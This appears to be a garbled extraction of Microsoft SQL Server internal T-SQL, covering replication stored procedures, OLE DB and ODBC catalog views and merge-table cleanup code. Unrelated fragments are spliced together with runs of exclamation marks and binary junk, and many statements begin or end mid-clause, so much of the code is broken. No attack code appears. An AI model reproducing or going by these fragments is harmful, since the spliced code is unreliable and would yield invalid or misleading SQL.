            SS_XML_SCHEMACOLLECTION_SCHEMA_NAME sysname collate catalog_default null,
            SS_XML_SCHEMACOLLECTION_NAME sysname collate catalog_default null,
            SS_DATA_TYPE tinyint null
        )

        insert into #sptabletypecolumns_100 exec sys.sp_table_type_columns_100 @p1,@p2,@p3,@p4,@ODBCVer,@fUsePattern

        exec @ret = sp_cursoropen @handle output,
            'select * from #sptabletypecolumns_100',
            @scrollopt output, @ccopt output, @rows output
        drop table #sptabletypecolumns_100
    end

    return @ret
TMfTM ('AND IDX.TABLE_OWNER=' + QUOTENAME(@owner, '''') + ' ')
	INSERT INTO #hquery(cmd) VALUES ('AND IDXCOL.TABLE_NAME=' + QUOTENAME(@tablename, '''') + ' ')
	INSERT INTO #hquery(cmd) VALUES ('AND IDXCOL.TABLE_OWNER=' + QUOTENAME(@owner, '''') + ' ')
	
	IF @fordiagnosis = 0
	BEGIN
		INSERT INTO #hquery(cmd) VALUES ('AND IDX.STATUS=''VALID'' ')
	END		

	EXEC @retcode = sp_ORAremotequery 
					@Server				= @publisher,
					@SelectColumnList	= @SelectColumnList,
					@InsTable			= '#indexes',
					@InsColumnList		= @InsColumnList

	IF @@ERROR <> 0 or @retcode <> 0
		RETURN (1)

	-- Filter PK constraints from list of indexes
	DELETE	#indexes
	FROM	#indexes idx INNER JOIN #constraints con
	  ON	idx.index_owner 	= con.index_owner
	  AND	idx.index_name		= con.index_name
	WHERE	con.constraint_type	= 'P'

	-- Filter indexes and constraints that don't reference published columns
	DELETE	#indexes
	WHERE	index_name IN
			(
				SELECT DISTINCT idx.index_name
				FROM #indexes idx
				WHERE idx.column_name NOT IN
				(
					SELECT	pc.name
					FROM	#publishercolumns pc
				)
			)

	DELETE	#constraints
	WHERE	constraint_name IN
			(
				SELECT DISTINCT con.constraint_name
				FROM #constraints con
				WHERE con.column_name NOT IN
				(
					SELECT	pc.name
					FROM	#publishercolumns pc
				)
			)

	RETURN(0)
END	
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(<.Gvf}_NAME_90       = convert(sysname, -- for backward compatibility
                                            case
                                            when d.oledb_data_type in (129, 130) --DBTYPE_STR/DBTYPE_WSTR
                                                then c.collation_name
                                            when d.ss_dtype in (40, 41, 42, 43) 
                                                then databasepropertyex(db_name(), 'collation') -- new datetime types have no column collation
                                            else null
                                            end),
        COLLATION_NAME_28       = convert(sysname, -- for backward compatibility
                                            case
                                            when d.oledb_data_type in (129, 130) --DBTYPE_STR/DBTYPE_WSTR
                                                then c.collation_name
                                            when d.oledb_data_type = 141 --DBTYPE_XML
                                                then databasepropertyex(db_name(), 'collation') -- no column collation for xml, so use database default
                                            when d.ss_dtype in (40, 41, 42, 43) 
                                                then databasepropertyex(db_name(), 'collation') -- new datetime types have no column collation
                                            else null
                                            end),
        DOMAIN_CATALOG          = case when c.user_type_id < 256 -- regular types, without SQL UDTs
                                  then null
                                  else db_name()
                                  end,
        DOMAIN_SCHEMA           = case when c.user_type_id < 256 -- regular types, without SQL UDTs
                                  then null
                                  else schema_name(o.schema_id)
                                  end,
        DOMAIN_NAME             = case when c.user_type_id < 256 -- regular types, without SQL UDTs
                                  then null
                                  else type_name(c.user_type_id)
                                  end,
        DESCRIPTION             = convert(nvarchar(1),null),
        COLUMN_LCID             = convert(int, CollationProperty(c.collation_name, 'lcid')),
        COLUMN_LCID_90          = convert(int, -- for backward compatibility
                                            case
                                            when d.oledb_data_type in (129, 130) --DBTYPE_STR/DBTYPE_WSTR
                                                then CollationProperty(c.collation_name, 'lcid')
                                            when d.ss_dtype in (40, 41, 42, 43) 
                                                then CollationProperty(convert(sysname, databasepropertyex(db_name(), 'collation')), 'lcid')
                                                 -- new datetime types use the database default lcid collation
                                            else null
                                            end),
        COLUMN_LCID_28          = convert(int, -- for backward compatibility
                                            case
                                            when d.oledb_data_type in (129, 130) --DBTYPE_STR/DBTYPE_WSTR
                                                then CollationProperty(c.collation_name, 'lcid')
                                            when d.oledb_data_type = 141 --DBTYPE_XML
                                                then CollationProperty(convert(sysname, databasepropertyex(db_name(), 'collation')), 'lcid')
                                                 -- no column collation for xml, so use database default lcid collation
                                            when d.ss_dtype in (40, 41, 42, 43) 
                                                then CollationProperty(convert(sysname, databasepropertyex(db_name(), 'collation')), 'lcid') 
                                                -- new datetime types use the database default lcid collation
                                            else null
                                            end),
        COLUMN_COMPFLAGS        = convert(int, CollationProperty(c.collation_name, 'oledbcompstyle')),
        COLUMN_COMPFLAGS_90     = convert(int, -- for backward compatibility
                                            case
                                            when d.oledb_data_type in (129, 130) --DBTYPE_STR/DBTYPE_WSTR
                                                then CollationProperty(c.collation_name, 'oledbcompstyle')
                                            when d.ss_dtype in (40, 41, 42, 43)
                                                then CollationProperty(convert(sysname, databasepropertyex(db_name(), 'collation')),'oledbcompstyle')
                                            else null
                                            end),
        COLUMN_COMPFLAGS_28     = convert(int, -- for backward compatibility
                                            case
                                            when d.oledb_data_type in (129, 130) --DBTYPE_STR/DBTYPE_WSTR
                                                then CollationProperty(c.collation_name, 'oledbcompstyle')
                                            when d.oledb_data_type = 141 --DBTYPE_XML
                                                -- no column collation for xml, so use database default
                                                then CollationProperty(convert(sysname, databasepropertyex(db_name(), 'collation')),'oledbcompstyle')
                                            when d.ss_dtype in (40, 41, 42, 43) 
                                                then CollationProperty(convert(sysname, databasepropertyex(db_name(), 'collation')),'oledbcompstyle')
                                            else null
                                            end),
        COLUMN_SORTID           = nullif(convert(int, DATABASEPROPERTYEX(db_name(),'sqlsortorder')), 0),
        COLUMN_TDSCOLLATION     = convert(binary(5),CollationProperty(c.collation_name, 'TDSCollation')),
        COLUMN_TDSCOLLATION_90  = convert(binary(5), -- for backward compatibility
                                            case
                                            when d.oledb_data_type in (129, 130) --DBTYPE_STR/DBTYPE_WSTR
                                                then CollationProperty(c.collation_name, 'TDSCollation')
                                            when d.ss_dtype in (40, 41, 42, 43) 
                                                then CollationProperty(convert(sysname, databasepropertyex(db_name(), 'collation')),'TDSCollation')
                                            else null
                                            end),
        COLUMN_TDSCOLLATION_28  = convert(binary(5), -- for backward compatibility
                                            case
                                            when d.oledb_data_type in (129, 130) --DBTYPE_STR/DBTYPE_WSTR
                                                then CollationProperty(c.collation_name, 'TDSCollation')
                                            when d.oledb_data_type = 141 --DBTYPE_XML
                                                -- no column collation for xml, so use database default
                                                then CollationProperty(convert(sysname, databasepropertyex(db_name(), 'collation')),'TDSCollation')
                                            when d.ss_dtype in (40, 41, 42, 43) 
                                                then CollationProperty(convert(sysname, databasepropertyex(db_name(), 'collation')),'TDSCollation')
                                            else null
                                            end),
      !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<6sf}  IS_COMPUTED             = convert(bit, ColumnProperty(c.object_id, c.name, 'IsComputed')),
        SS_XML_SCHEMACOLLECTION_CATALOGNAME = convert(sysname, NULL),
        SS_XML_SCHEMACOLLECTION_SCHEMANAME  = convert(sysname, NULL),
        SS_XML_SCHEMACOLLECTIONNAME         = convert(sysname, NULL),
        SS_UDT_CATALOGNAME      = convert(sysname, NULL),
        SS_UDT_SCHEMANAME       = convert(sysname, NULL),
        SS_UDT_NAME             = convert(sysname, NULL),
        SS_UDT_ASSEMBLY_TYPENAME= convert(sysname, NULL),
        SS_IS_SPARSE            = convert(bit, 0),				-- there are no system sparse columns
        SS_IS_COLUMN_SET        = convert(bit, 0)				-- there are no system column set columns

    from
        sys.system_columns c inner join
        sys.system_objects o on
            (
                o.object_id = c.object_id and
                o.type in ('S','V') -- system tables, views
            ) inner join
        sys.spt_provider_types d on
            (
                d.ss_dtype = c.system_type_id
            )
            /*
            // DEVNOTE - We are short-cutting this, because in Katmai there are no system columns with
            // XML type.
        left join
        sys.xml_schema_collections xsc on
            (
                xsc.xml_collection_id = c.xml_collection_id
            )
            // DEVNOTE - We are short-cutting this, because in Katmai there are no system columns with
            // system UDT types - hierarchyid, geometry, geography.
        left join
        sys.assembly_types u on
            (
                u.user_type_id = c.user_type_id
            )
            */
n3n  (
                t.user_type_id = d.ss_usertype
            )
        left outer join
        sys.spt_datatype_info_ext e on
            (
                t.user_type_id = e.user_type and
                t.user_type_id < 256 and
                e.AUTO_INCREMENT = 0
            )
55 'IF')) or
            (s_pprv.procedure_number = @group_number and s_pprv.type in ('P', 'PC'))
        )

    order by 2, 3, 5
    option (OPTIMIZE CORRELATED UNION ALL)
(         where publisher_database_id = @publisher_database_id 
                        and command_id         = 1 
                        and type             <> -2147483611
            
            -- If there's nothing to do set not needed and move on to results
            if @max_xact_seqno = @last_xact_seqno
            begin
                select @is_needed = @NOT_NEEDED
                goto Results_Handler
            end
            
            -- check MSrepl_commands to see if we have snapshot commands waiting for us
            -- Consider:
            -- We may want to use a use a dirty read since if the snapshot is generating/logreader is
            -- is picking up snap commands we can make our assumptions that the snapshot is needed.
            -- for this assumption to be true it doesn't matter if anything by the logreader is 
            -- rolled back because of an error etc. We will still need a snapshot later.
            if exists (select msrc.*
                            from MSrepl_commands msrc, 
                                    MSsubscriptions mss
                            where mss.agent_id                         = @agent_id 
                                    and mss.status                     = @ACTIVE                    -- make sure only to scan the active subs
                                    and mss.publisher_database_id     = @publisher_database_id 
                                    and msrc.publisher_database_id     = mss.publisher_database_id
                                    and msrc.article_id             = mss.article_id             
                                    and msrc.xact_seqno             > @last_xact_seqno             -- lower bound
                                    and msrc.xact_seqno             >= @min_sub_seqno            --         this is here in case @last_xact_seqno is 0x00
                                    and msrc.xact_seqno             <= @max_xact_seqno            -- upper bound
                                    and (msrc.type & @SNAPSHOT_BIT)    = @SNAPSHOT_BIT                -- make sure they are snapshot commands
                                    -- 1. filter out the  snapshot transactions that were inserted later that is not
                                    --    the subscription's snapshot transaction
                                    -- 2. filter out trigger generation command for non synctran subscription.
                                    and ( (msrc.type & @SNAPSHOT_BIT)    = @SNAPSHOT_BIT 
                                            and msrc.xact_seqno         >= mss.subscription_seqno 
                                            and msrc.xact_seqno         <= mss.ss_cplt_seqno 
                                            and ( msrc.type             <> @SYNCTRAN_TYPE 
                                                    or mss.update_mode     <> @READ_ONLY ) ))

            begin
                select @is_needed = @NEEDED
            end
            else
            begin
                select @is_needed = @NOT_NEEDED
            end

            goto Results_Handler
        end
        else
        begin
            -- all else needs a snapshot
            select @is_needed = @NEEDED

            goto Results_Handler
        end
    end

Results_Handler:
    select "is_snapshot_required" = @is_needed,
            "last_xact_seqno"    = @transaction_timestamp,
            "subscription_guid"    = @subscription_guid,
            "subid"             = @subid

    return 0
end
,D,De_log_files', 'U') is not NULL
        begin
            drop table dbo.MSmerge_log_files 
            if @@error <> 0 goto Error
        end
        if object_id('MSmerge_agent_parameters', 'U') is not NULL
        begin
            drop table dbo.MSmerge_agent_parameters 
            if @@error <> 0 goto Error
        end
    end

    if @whattodrop in (2,3)
    begin
        -- Drop lightweight tables.

        if object_id('dbo.MSmerge_rowtrack', 'U') is not null
        begin
            drop table dbo.MSmerge_rowtrack
            if @@error <> 0 goto Error
        end
                
        if object_id('dbo.MSmerge_filteringcolumns_lightweight', 'U') is not null
        begin
            drop table dbo.MSmerge_filteringcolumns_lightweight
            if @@error <> 0 goto Error
        end
        
        if object_id('dbo.MSmerge_idrange', 'U') is not null
        begin
            drop table dbo.MSmerge_idrange
            if @@error <> 0 goto Error
        end
    end

    -- drop the upgrade table
    if object_id('MSmerge_upgrade_in_progress', 'U') is not NULL
    begin
        drop table dbo.MSmerge_upgrade_in_progress
        if @@ERROR <> 0 goto Error
    end
    

    commit transaction    
    return 0
Error:
    RAISERROR (20007, 16, -1)
    ROLLBACK TRANSACTION sp_MSdrop_mergesystables
    COMMIT TRANSACTION
    return 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!d.	a `<(<^v2c
create view sys.spt_sparse_columns_view
as
    select
    -- begin (for doing joins)
        object_id               = o.object_id,
        schema_id               = o.schema_id,
    -- end (for doing joins)
        TABLE_CATALOG           = db_name(),
        TABLE_SCHEMA            = schema_name(o.schema_id),
        TABLE_NAME              = o.name,
        COLUMN_NAME             = c.name,
        COLUMN_GUID             = convert(uniqueidentifier,null),
        COLUMN_PROPID           = convert(int,null),
        ORDINAL_POSITION        = convert(int, ColumnProperty(c.object_id, c.name, 'ordinal')),
        COLUMN_HASDEFAULT       = convert(bit,
                                            case
                                            when ColumnProperty(c.object_id, c.name, 'default') = 0 then 0
                                            else 1
                                            end),
        COLUMN_DEFAULT          = convert(nvarchar(2000),
                                          object_definition(ColumnProperty(c.object_id, c.name, 'default'))
                                         ),
        COLUMN_FLAGS            = convert(int,
                                            case when d.is_long = 1 or c.max_length = -1 -- 2nd condition is for varchar(MAX) types
                                            then 0x82 --DBCOLUMNFLAGS_ISLONG|DBCOLUMNFLAGS_MAYDEFER
                                            else 0
                                            end
                                        |   case when d.fixlen is not null
                                            then 0x10 --DBCOLUMNFLAGS_ISFIXEDLENGTH
                                            else 0
                                            end
                                        |   case when c.is_nullable = 1
                                            then 0x60 --DBCOLUMNFLAGS_ISNULLABLE|DBCOLUMNFLAGS_MAYBENULL
                                            else 0
                                            end
                                        |   case
                                            when d.ss_dtype = 189 -- 'timestamp'
                                                then 0x200 --DBCOLUMNFLAGS_ISROWVER
                                            when c.is_identity != 1 and 
                                                (has_perms_by_name(quotename(schema_name(o.schema_id)) + '.' + quotename(o.name),
                                                                    'OBJECT',
                                                                    'UPDATE',
                                                                    quotename(c.name),
                                                                    'COLUMN') = 1)
                                                then 0x4 --DBCOLUMNFLAGS_WRITE
                                            else 0
                                            end
                                        |   case
                                            when d.ss_dtype in (41, 42, 43) -- datetime2, time, datetimeoffset
                                                then 0x40000000 --DBCOLUMNFLAGS_SS_ISVARIABLESCALE
                                            else 0
                                            end),
        IS_NULLABLE             = c.is_nullable,
        DATA_TYPE               = d.oledb_data_type,
        TYPE_GUID               = convert(uniqueidentifier,null),
        CHARACTER_MAXIMUM_LENGTH= convert(int,
                                            case
                                            when d.oledb_data_type in (129, 128) --DBTYPE_STR/DBTYPE_BYTES
                                                then isnull(d.column_size, -- special case text/ntext/image
                                                            (
                                                                case when c.max_length = -1 then 0
                                                                else c.max_length
                                                                end
                                                            ))
                                            when d.oledb_data_type = 130 --DBTYPE_WSTR
                                                then coalesce(d.column_size,c.max_length/2)
                                            when d.oledb_data_type = 132 and c.max_length = -1 -- Large UDT => Unlimited max length
                                                then 0
                                            when d.oledb_data_type = 132 -- Small UDT
                                                then c.max_length
                                            else null
                                            end),
        CHARACTER_OCTET_LENGTH  = convert(int,
                                            case when d.oledb_data_type in (129, 128) --DBTYPE_STR/DBTYPE_BYTES
                                                then isnull(d.column_size, -- special case text/ntext/image
                                                            (
                                                                case when c.max_length = -1 then 0
                                                                else c.max_length
                                                                end
                                                            ))
                                            when d.oledb_data_type = 130 --DBTYPE_WSTR
                                                then isnull(d.column_size*2, -- special case text/ntext/image
                                                            (
                                                                case when c.max_length = -1 then 0
                                                                else c.max_length
                                                                end
                                                            ))
                                            when d.oledb_data_type = 132 and c.max_length = -1 -- Large UDT => Unlimited Octet Length
                                                then 0
                                            when d.oledb_data_type = 132 -- Small UDT
                                                then c.max_length
                                            else null
                                            end),
        NUMERIC_PRECISION       = convert(smallint,
                                            case when d.oledb_data_type = 131 --DBTYPE_NUMERIC
                                                then c.precision
                                            when (d.fixed_prec_scale=1 or d.oledb_data_type in (5, 4)) -- DBTYPE_R4/DBTYPE_R8
                                                then d.data_precision
                                            else null
                                            end),
        NUMERIC_SCALE           = convert(smallint,
                                            case when d.oledb_data_type = 131 --DBTYPE_NUMERIC
                                            then odbcscale(c.system_type_id,c.scale)
                                            else null
                                            end),
                                  -- We could also include legacy datetime, smalldatetime in the first condition
                                  -- because the results are correct there also
        DATETIME_PRECISION      = convert(int,
                                            case when d.ss_dtype in (40, 41, 42, 43) -- date, time, datetime2, datetimeoffset
                                            then c.scale
                                            else d.datetime_precision
                                            end),
        CHARACTER_SET_CATALOG   = convert(sysname,
                                !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`em<=GJ+	0 8 
-- add it
create view sys.dm_pdw_nodes_tran_top_version_generators as
select *, convert(int, null) pdw_node_id from sys.dm_tran_top_version_generators
0  8--
-- Name: sp_changedynamicsnapshot_job
--
-- Description: This procedure changes the scheduled dynamic snapshot job
--
-- Parameters: @publication sysname (mandatory)
--			   @dynamic_snapshot_jobname (optional, default '%')
--			   @dynamic_snapshot_jobid uniqueidentifier (optional, default 
--			   null) When @dynamic_snapshot_jobid is null and 
--			   @dynamic_snapshot_jobname is '%', all dynamic snapshot
--			   jobs for the specified publication will be changed.
--
-- Notes: 1) At most one of @dynamic_snapshot_jobid and 
--			 @dynamic_snapshot_jobname can be specified with a non-default 
--			 value.
--			 
-- Returns: 0 - succeeded
--			1 - failed
--
-- Security: Only members of the 'sysadmin' server role and the 'db_owner'	
-- database role can execute this procedure successfully even though execute
-- permission of this procedure is granted to public.
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_changedynamicsnapshot_job (
    @publication sysname,
    @dynamic_snapshot_jobname sysname = N'%',
    @dynamic_snapshot_jobid uniqueidentifier = null,

    -- Scheduling information
    @frequency_type				 int = NULL,
    @frequency_interval			 int = NULL,
    @frequency_subday			 int = NULL,
    @frequency_subday_interval	 int = NULL,
    @frequency_relative_interval int = NULL, 
    @frequency_recurrence_factor int = NULL,
    @active_start_date			 int = NULL,
    @active_end_date			 int = NULL,
    @active_start_time_of_day	 int = NULL, 
    @active_end_time_of_day		 int = NULL,

    -- Job Login information
    @job_login                               nvarchar(257) = NULL,
    @job_password                        sysname = NULL
)
as
    set nocount on

    declare @retcode int
    declare @pubid uniqueidentifier
    declare @dynamic_filters bit
    declare @command_line nvarchar(4000)
    declare @distribdb sysname
    declare @rpcsrvname sysname
    declare @distributor sysname
    declare @distproc nvarchar(4000)
    declare @id int 
    declare @partition_id int
    declare @snapshot_ready int
    declare @agent_id int
    declare @dynamic_snapshot_jobid_from_cursor uniqueidentifier

    -- Initializations
    select @retcode = 0
    select @pubid = null
    select @dynamic_filters = 0

    
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
        return (1)


    if object_id('sysmergepublications') is NULL
    begin
        raiserror (20054, 16, -1)
        return (1)
    end

    -- Verify that the given publication exists and get the pubid at the
    -- same time
    select @pubid = pubid,
           @dynamic_filters = dynamic_filters,
           @snapshot_ready = snapshot_ready
      from dbo.sysmergepublications
     where upper(publisher) = upper(publishingservername())
       and publisher_db = db_name()
       and name = @publication

    if @pubid is null
    begin
        raiserror(20026, 16, -1, @publication) 
        return (1)  
    end

    if @snapshot_ready <> 1
    begin
        raiserror (21075, 11, -1, @publication)
        return (1)
    end

    -- The given publication must be enabled for dynamic filtering
    if @dynamic_filters <> 1
    begin
        raiserror(20674, 16, -1)
        return (1)
    end
    
    -- At most one of @dynamic_snapshot_jobid and @dynamic_snapshot_jobname
    -- can be specified with a non-default value
    if @dynamic_snapshot_jobid is not null and
       @dynamic_snapshot_jobname <> N'%'
    begin
        raiserror(21329, 16, -1)
        return (1)
    end

    if @dynamic_snapshot_jobid is null and @dynamic_snapshot_jobname = N'%'
    begin

        declare hJobsCursor cursor local fast_forward for
            select job_id 
              from MSdynamicsnapshotjobs 
              where pubid = @pubid
        if @@error <> 0
            return 1

        open hJobsCursor 
        if @@error <> 0
            return 1


        fetch hJobsCursor into @dynamic_snapshot_jobid_from_cursor 
          
        begin transaction
        save transaction sp_MSchangedynamicsnapshotjobC

        while (@@fetch_status <> -1)
        begin
            if @dynamic_snapshot_jobid_from_cursor is not null
            begin
                exec @retcode = sys.sp_MSchangemergedynamicsnapshotjob 
                                    @publication = @publication,
                                    @dynamic_snapshot_jobid = @dynamic_snapshot_jobid_from_cursor,
                                    @frequency_type = @frequency_type,
                                    @frequency_interval = @frequency_interval,
                                    @frequency_subday = @frequency_subday,
                                    @frequency_subday_interval = @frequency_subday_interval,
                                    @frequency_relative_interval = @frequency_relative_interval,
                                    @frequency_recurrence_factor = @frequency_recurrence_factor,
                                    @active_start_date = @active_start_date,
                                    @active_end_date = @active_end_date,
                                    @active_start_time_of_day = @active_start_time_of_day,
                                    @active_end_time_of_day = @active_end_time_of_day,
                                    @job_login = @job_login,
                                    @job_password = @job_password
                if @@error <> 0 or @retcode <> 0
                    goto CursorFailure
            end
            fetch hJobsCursor into @dynamic_snapshot_jobid_from_cursor
        end

        commit transaction
        close hJobsCursor
        deallocate hJobsCursor		  
        return 0
    CursorFailure:


        rollback transaction sp_MSchangedynamicsnapshotjobC
        commit transaction
        close hJobsCursor
        deallocate hJobsCursor
        return 1
    end
    else
    begin
        exec @retcode = sys.sp_MSchangemergedynamicsnapshotjob 
                            @publication = @publication,
                            @dynamic_snapshot_jobid = @dynamic_snapshot_jobid,
                            @dynamic_snapshot_jobname = @dynamic_snapshot_jobname,
                            @frequency_type = @frequency_type,
                            @frequency_interval = @frequency_interval,
                            @frequency_subday = @frequency_subday,
                            @frequency_subday_interval = @frequency_subday_interval,
                            @frequency_relative_interval = @frequency_relative_interval,
                            @frequency_recurrence_factor = @frequency_recurrence_factor,
                            @active_start_date = @active_start_date,
                            @active_end_date = @active_end_date,
                            @active_start_time_of_day = @active_start_time_of_day,
                            @active_end_time_of_day = @active_end_time_of_day,
                            @job_login = @job_login,
                            @job_password = @job_password
        if @@error <> 0 or @retcode <> 0
            goto Failure
    end

    return 0
    
Failure:
    raiserror(20702, 16, -1)
    return 1

hema_id))  -- ISSUE - PERF - Do check against object_id, not against the names !!!

        and
        o1.object_id = r.referenced_object_id and
        o1.object_id = c1.object_id and
        c1.column_id = k.referenced_column_id and
        o2.object_id = r.parent_object_id and
        o2.object_id = c2.object_id and
        c2.column_id = k.parent_column_id
    order by 8,9,2,3,13
!!!!!!!!!!!!!!!!!!!!!!!!!(l
	#\`<cM[0Se 8
create view sys.spt_sproc_columns_return_values_odbc_view
as
    select
    -- begin (for doing joins)
        object_id                   = pro.object_id,
        schema_id                   = pro.schema_id,
        procedure_number            = pro.procedure_number,
    -- end (for doing joins)
        PROCEDURE_QUALIFIER = convert(sysname,db_name()),
        PROCEDURE_OWNER     = convert(sysname,schema_name(pro.schema_id)),
        PROCEDURE_NAME      = pro.name,
        COLUMN_NAME         = convert(sysname,
                                        case
                                        when pro.type in ('P', 'PC') then '@RETURN_VALUE'
                                        else                              '@TABLE_RETURN_VALUE'
                                        end) collate catalog_default,
        COLUMN_TYPE         = convert(smallint,
                                        case
                                        when pro.type in ('P', 'PC') then 5 -- SQL_RETURN_VALUE
                                        else                              3 -- SQL_RESULT_COL
                                        end),
        DATA_TYPE           = convert(smallint,
                                        case
                                        when pro.type in ('P', 'PC') then 4
                                        else                              NULL
                                        end),
        TYPE_NAME           = convert(sysname,
                                        case
                                        when pro.type in ('P', 'PC') then 'int'
                                        else                              'table'
                                        end) collate catalog_default,
        "PRECISION"         = convert(int,
                                        case
                                        when pro.type in ('P', 'PC') then 10
                                        else                              0
                                        end),
        "LENGTH"            = convert(int,
                                        case
                                        when pro.type in ('P', 'PC') then 4
                                        else                              0
                                        end),
        SCALE               = convert(smallint,0),
        RADIX               = convert(smallint,
                                        case
                                        when pro.type in ('P', 'PC') then 10
                                        else                              0
                                        end),
        NULLABLE            = convert(smallint,0),
        REMARKS             = convert(varchar(254),
                                        case
                                        when pro.type in ('P', 'PC') then NULL
                                        else                              'Result table returned by table valued function'
                                        end),
        COLUMN_DEF          = convert(nvarchar(4000), NULL),
        SQL_DATA_TYPE       = convert(smallint,
                                        case
                                        when pro.type in ('P', 'PC') then 4
                                        else                              NULL
                                        end),
        SQL_DATETIME_SUB    = convert(smallint,null),
        CHAR_OCTET_LENGTH   = convert(int,null),
        ORDINAL_POSITION    = convert(int,0),
        IS_NULLABLE         = convert(varchar(254),'NO'),
        SS_TYPE_CATALOG_NAME                 = convert(sysname,null),
        SS_TYPE_SCHEMA_NAME                  = convert(sysname,null) collate catalog_default,
        SS_UDT_CATALOG_NAME                  = convert(sysname,null),
        SS_UDT_SCHEMA_NAME                   = convert(sysname,null) collate catalog_default,
        SS_UDT_ASSEMBLY_TYPE_NAME            = convert(nvarchar(4000),null) collate Latin1_General_BIN,
        SS_XML_SCHEMACOLLECTION_CATALOG_NAME = convert(sysname,null),
        SS_XML_SCHEMACOLLECTION_SCHEMA_NAME  = convert(sysname,null) collate catalog_default,
        SS_XML_SCHEMACOLLECTION_NAME         = convert(sysname,null) collate catalog_default,
        SS_DATA_TYPE                         = convert(tinyint, -- Info here is for backward compatibility - SQL 6.5
                                                case
                                                when pro.type in ('P', 'PC') then 56
                                                else                              0
                                                end)
    from
        sys.spt_all_procedures pro

    where
        pro.type in ('P', 'TF', 'IF', 'PC') -- 'FN' case is included in spt_sproc_columns_odbc_view
0m s8create procedure sys.sp_MSrepl_dbrole
    @rolename       sysname,
    @loginname      sysname,
    @operation      nvarchar(10),
    @is_member      bit = 0 OUTPUT
AS
    -- This is an internal stored procedure. 
    -- If operation is 'add', it will add the login as a user to current database if necessary
    -- get the user name of the login and add it to the role
    -- If operation is 'drop', it will drop the user from the role.
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
    declare @retcode int
    declare @username sysname
    declare @sid varbinary(85)

    select @sid = suser_sid(@loginname, 0)

    if @operation = 'is_member'
    begin
        if exists (select * from sys.database_principals r, sys.database_principals u, sys.database_role_members m where 
            u.sid = @sid and
            r.name = @rolename and
            m.role_principal_id = r.principal_id and
            m.member_principal_id = u.principal_id)
            select @is_member = 1
        else
            select @is_member = 0
        return(0)
    end
    
    -- Add the login to  db  role.
    if  is_srvrolemember('sysadmin',  @loginname) <> 1
    begin
        select @username = name from sys.database_principals where sid = @sid
        if @operation = 'add'
        begin
            if @username is null
            begin
                -- Add the server login to be a user with same name in the database
                exec @retcode = sys.sp_adduser  @loginname
                if @retcode<>0 or @@error <> 0
                    return 1
                select @username = @loginname
            end

            exec @retcode = sys.sp_addrolemember @rolename, @username
            if @@error <> 0 OR @retcode <> 0
                return 1
        end
        else if @operation = 'drop'
        begin
            if @username is not null
            begin
